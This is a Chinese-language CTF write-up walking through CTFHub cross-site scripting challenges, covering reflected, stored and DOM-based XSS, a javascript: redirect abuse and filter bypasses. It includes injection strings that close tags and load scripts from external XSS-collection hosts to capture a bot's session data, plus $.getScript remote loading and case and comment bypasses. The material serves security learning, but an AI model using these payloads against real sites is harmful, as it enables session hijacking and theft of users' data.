xss漏洞学习(题解)

news2024/11/24 1:42:21

1.简单知识点回顾

XSS允许恶意web用户将代码植入到提供给其它用户使用的页面中。

特点:能注入恶意的HTML/JavaScript代码到用户浏览器网址上,从而劫持会话
类型:

DOM型:属于反射型的一种,利用非法输入来闭合对应的html标签。数据流向是URL→浏览器
存储型:危害大。相关源代码存放于服务器,用户浏览该页面时触发代码执行。
反射型:需要攻击者提前构造一个恶意链接来诱使客户点击。

2.反射型xss

1)进入题目环境,在文本框随意输入,它都能在页面显示,说明可以通过该输入,改变页面内容。

2)尝试输入判断xss的语句试试  <script>alert("1")</script>

3)页面出现提示,得到一个url,复制后放到第二个文本框

4)返回successfully得提示,猜测它应该是在后台进行访问。然后便要用到xss平台了

5)打开xss平台后,注册登录,然后新建一个项目勾选基础默认板块

6)然后将xss平台给的代码复制到第一个输入框中进行注入

7)提交后,在第二个框中访问第一个框注入XSS脚本后的网址,

8)显示成功,然后将注入后的网址复制粘贴到send框提交,接着在xss平台,创建的项目处查看返回的后台信息

9)展开返回的后台信息即可看到flag

3.存储型xss

1)进入环境后还是同样的有一个输入框和一个提交框,输入框中可以输入你的名字并提交。第二个输入框是发送构造好的 XSS 链接给机器人模拟执行。

2)看着跟反射型差不多,既然叫存储型,估计关键信息应该也是在后套信息中了,先按着前面的步骤来试试,先编写一个xss的测试语句  :<script>alert("mzxf")</script>

3)出现回显,然后将该网址复制然后然后粘贴在下面进行提交、

4)一样的,提交成功,但是url头并没有变化,但是说明关键信息在后台里,还是跟前面那一样吧,需要使用xss平台来进行注入

5)复制xss平台注入代码到第一个输入口:

6)上传后将该网页地址复制粘贴到第二个提交文本框内进行提交,

7)页面显示提交正确,然后在新建项目中查看,便能找到flag

3.DOM反射

1)进入环境后基本页面跟前面两个反射都是一样的,估计和解题方法和反射型也差不多,还是需要使用xss platformxss platform,创建项目即可。但是是需要注意的是,输入框中有我们 可控的地方,所以后面构造就需要注意了

<script>
        $("#text")[0].innerHTML = 'CTFHub is very niubility';
</script>

CTFHub is very niubility 替换成以下内容

';</script></textarea>'"><script src=http://xsscom.com//IqT8eH></script>

也就是这里的注入语句没有闭合,需要修改xss平台给的注入语句,在前面加 个   ';</script></textarea>' "> 

给它构造闭合

..

2)然后将构造好的语句写入输入框,上传成功后再将当前页面地址复制到url处,提交成功在xss平台便看可以看到后台信息,然后找到flag

..

4.DOM跳转

1)进入题目环境,发现没有提交的窗口了

url这也只能传url头,不能随意输入

2)弄了半天,属实没思绪,一时间又陷入僵局,便去找 大佬的wp看了看,大佬是这样解读这题的

查看源码,这里有一个关键的地方存在xss漏洞

        这段代码的作用是从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL

        具体而言,它使用location.search获取查询字符串部分(例如:“?jumpto=http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/”),然后使用.split("=")将其拆分为参数名和参数值的数组。

        然后,它检查target[0].slice(1)是否等于"jumpto",这是因为target[0]包含"?“字符,使用.slice(1)去掉”?"。如果相等,就使用location.href将页面重定向到target[1],也就是参数值所指定的URL。

注意!当你将类似于 location.href = "javascript:alert('xss')" 这样的代码赋值给 location.href 时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。

3)因此,这里可以构造如下语句来执行js

http://challenge-5379cece37966ae8.sandbox.ctfhub.com:10800/?jumpto=javascript:alert(1)

4)上传成功,然后就需要构造能访问 xss平台连接的代码,

http://challenge-5379cece37966ae8.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//uj.ci/w7r")

按照大佬的说法,这里这段代码使用了 jQuery 的 $.getScript() 函数来异步加载并执行来自 xss平台 的 js 脚本,还有就是使用前提是要网站引用了jQuery。

jquery作用

访问和操作DOM元素

控制页面样式

对页面事件进行处理

扩展新的jQuery插件

与Ajax技术完美结合

jQuery能做的JavaScript也能做,但使用jQuery能大幅提高开发效率

jQuery和JavaScript之间的关系,可以理解为“成语”和“白话文”之间的关系。成语是对白话文的高度压缩,而jQuery也是对JavaScript的高度压缩库

具体请看:jQuery详解-CSDN博客

5)传入成功,然去xss平台找后台信息,拿到flag

5.过滤空格

1)进入环境,题目说是空格过滤,说明这里有空格绕过了

2)正常来,发现都没问题

3)后面也是一样,没啥问题,但是到最后去找后台信息就显示是啥都没有,需要我们在诸如语句中把空格用/**/代替,便可绕过

4)后台信息便能显示了

6.过滤关键词

1)打开题目环境,说是过滤关键字

2)看看源码有没有提示过滤啥,看了,明显是没提示

3)直接传入注入语句发现成功了

再传url头,发现也成功,xss平台也是直接找到flag

估计这里它过滤的可能是script,但是我的注入语句中是sCripT,相当于大写绕过了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1718559.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

动态代理的代码实现

目录 准备工作 正式书写 测试 准备工作 定义一个BigStar类&#xff1a; 定义Star接口&#xff0c;在这里面定义一些想要被代理的方法。 让BigStart实现Star接口&#xff1a; 正式书写 新建ProxyUtil类&#xff0c;这个类的作用就是创建一个代理&#xff0c;里面有createPro…

WebGoat靶场搭建

WebGoat靶场介绍 WebGoat是一个由OWASP&#xff08;Open Web Application Security Project&#xff09;组织开发的应用平台&#xff0c;专门用于进行Web应用程序安全漏洞的实验。它旨在通过模拟各种安全漏洞&#xff0c;帮助用户了解和学习如何识别和防御这些漏洞。WebGoat基…

排序算法(一) 基础排序算法

排序算法 基础排序算法 排序本质&#xff1a;减小逆序对的过程 在基础排序算法中&#xff0c;将待排序序列分为相对有序区与相对无序区。 每次遍历到数组末尾称为一轮。 冒泡排序(无序区-有序区, O ( n 2 ) O(n^2) O(n2),稳定,就地) 在每一轮中&#xff0c;逐次与下一邻项…

在长窗口时代,RAG技术是否仍然必要?

自从谷歌推出 Gemini 1.5 Pro&#xff0c;行业内部对于 RAG 的讨论就不绝于耳。 Gemini 1.5 Pro 的性能确实令人瞩目。根据谷歌公布的技术文档&#xff0c;该系统能够稳定处理长达 100 token 的内容&#xff0c;相当于一小时的视频、十一小时的音频、超过三万行的代码或七十万…

服务器的初始化

服务器的初始化 新的服务器到手&#xff0c;部署服务器的初始化。 1、配置ip地址 网关 dns解析&#xff08;static&#xff09;内网和外网 2、安装源&#xff0c;外网&#xff08;在线即可&#xff09;内网&#xff08;只能用源码包编译安装&#xff09; 3、磁盘分区&#…

2024年第一期“数据安全咨询(高级)”培训开启报名!

各有关单位 为加速数据安全专业人才的培育&#xff0c;增强企事业单位数据安全治理与防御能力&#xff0c;提升数据安全从业人员的业务能力和管理水平&#xff0c;在中国电子学会、杭州市计算机学会、浙江省网安协数据安全治理专委会的支持下&#xff0c;浙江省电子学会、杭州…

【Qt】Qt界面美化指南:深入理解QSS样式表的应用与实践

文章目录 前言&#xff1a;1. 背景介绍2. 基本语法3. QSS 设置方式3.1. 设置全局样式3.2. 从文件加载样式表3.3. 使用 Qt Designer 编辑样式 总结&#xff1a; 前言&#xff1a; 在当今这个视觉至上的时代&#xff0c;用户界面&#xff08;UI&#xff09;的设计对于任何软件产…

apexcharts数据可视化之圆环柱状图

apexcharts数据可视化之圆环柱状图 有完整配套的Python后端代码。 本教程主要会介绍如下图形绘制方式&#xff1a; 基础圆环柱状图多组数据圆环柱状图图片背景自定义角度渐变半个圆环图虚线圆环图 基础圆环图 import ApexChart from react-apexcharts;export function Cir…

效率管理时间应用:滴答清单

一、简介 1、滴答清单&#xff08;TickTick&#xff09;&#xff0c;一款由杭州随笔记网络技术有限公司开发的待办事项和任务提醒工具&#xff0c;作为TickTick的中国服务器版本&#xff0c;它提供了易用、轻量、功能完整的解决方案&#xff0c;支持Web、iOS、Android等多个平…

【大比武10】行业垂直大模型应用在档案管理中的探索

关注我们 - 数字罗塞塔计划 - # 大比武2024 本篇是参加“华夏伟业”杯第二届档案信息化公司业务与技术实力大比武&#xff08;简称“大比武 2024”&#xff09;的投稿文章&#xff0c;来自广州龙建达电子股份有限公司&#xff0c;作者&#xff1a;陶宣任。 在这个人工智能技…

学习笔记:(2)荔枝派Nano开机显示log(全志F1C200S)

学习笔记:TF卡启动荔枝派Nano(全志F1C200S) 1.u-boot配置2.需要配置LCD的显示设备树1.u-boot配置 ARM architecture Enable graphical uboot console on HDMI, LCD or VGAx:480,y:272,depth:

李廉洋:5.31黄金原油末日砸盘,美盘分析及策略。

黄金消息面分析&#xff1a;过去几天股市的抛售也是金属市场的利多因素。美国商务部将第一季度GDP预期从1.6%下修至1.3%后&#xff0c;美国国债收益率下降。同时&#xff0c;美国劳工部公布&#xff0c;上周首次申请失业救济人数从前一周修正后的21.6万人上升至21.9万人。综合来…

python3.5如何安装numpy

python3.5如何安装numpy&#xff1f;步骤如下&#xff1a; 1.首先应该将你的Python环境变量设置正确。检验是否正确的方法就是winR&#xff0c;输入cmd 。在窗口中输入python&#xff0c;应该得到如下所示的效果图&#xff1a; 可以在命令框中直接编译python。 2.安装pip&…

【农村电商1004】 电子商务进农村示范县名单:全面数据集等你探索!

今天给大家分享的发表在国内顶级期刊金融研究的2023年论文《农村发展电子商务能减缓资本与劳动力要素外流吗&#xff1f;——以电子商务进农村综合示范案例为例》使用到的重要数据集电子商务进农村综合示范政策县数据&#xff0c;该论文采用了双重差分法和全国县域面板数据研究…

MySQL:MySQL执行一条SQL查询语句的执行过程

当多个客户端同时连接到MySQL,用SQL语句去增删改查数据,针对查询场景,MySQL要保证尽可能快地返回客户端结果。 了解了这些需求场景,我们可能会对MySQL进行如下设计: 其中,连接器管理客户端的连接,负责管理连接、认证鉴权等;查询缓存则是为了加速查询,命中则直接返回结…

[代码复现]Self-Attentive Sequential Recommendation

参考代码&#xff1a;SASRec.pytorch 可参考资料&#xff1a;SASRec代码解析 前言&#xff1a;文中有疑问的地方用?表示了。可以通过ctrlF搜索’?。 环境 conda create -n SASRec python3.9 pip install torch torchvision因为我是mac运行的&#xff0c;所以device是mps 下面…

谁是镰刀谁是韭菜?程序交易与手动交易的博弈,靠技术还是靠运气

备受争议的话题&#xff0c;很多人认为程序化交易是在破坏市场的平衡&#xff0c;大量的程序交易订单可能会造成市场价格的异常波动&#xff0c;尤其是在高频交易未被监管时&#xff0c;程序化交易者占尽优势&#xff0c;来回收割。 而支持程序交易的人认为&#xff0c;市场是…

redis 高可用及哨兵模式 @by_TWJ

目录 1. 高可用2. redis 哨兵模式3. 图文的方式让我们读懂这几个算法3.1. Raft算法 - 图文3.2. Paxos算法 - 图文3.3. 区别&#xff1a; 1. 高可用 在 Redis 中&#xff0c;实现 高可用 的技术主要包括 持久化、复制、哨兵 和 集群&#xff0c;下面简单说明它们的作用&#xf…

vscode怎么点击路径直接跳转对应文件

在vue项目中经常要引入工具类、组件、模版等&#xff0c;想要直接去看对应文件&#xff0c;只能自己找到对应路径再去打开。 我们可用在js项目中创建一个 jsconfig.json文件&#xff0c;TS项目可以创建tsconfig.json 文件代码 {"compilerOptions": {"baseUrl&…

Ubuntu16.04 opencv环境搭建(C++)

Ubuntu下vscode跑opencv程序环境搭建。 目录 1 ubuntu查看opencv版本 2 下载opencv包 3 依赖配置 4 进入安装包内执行 5 配置环境变量 6 VScode配置-下载c扩展 7 编译运行helloworld 8 在vscode中配置opencv环境 9 运行结果 1 ubuntu查看opencv版本 pkg-config --mo…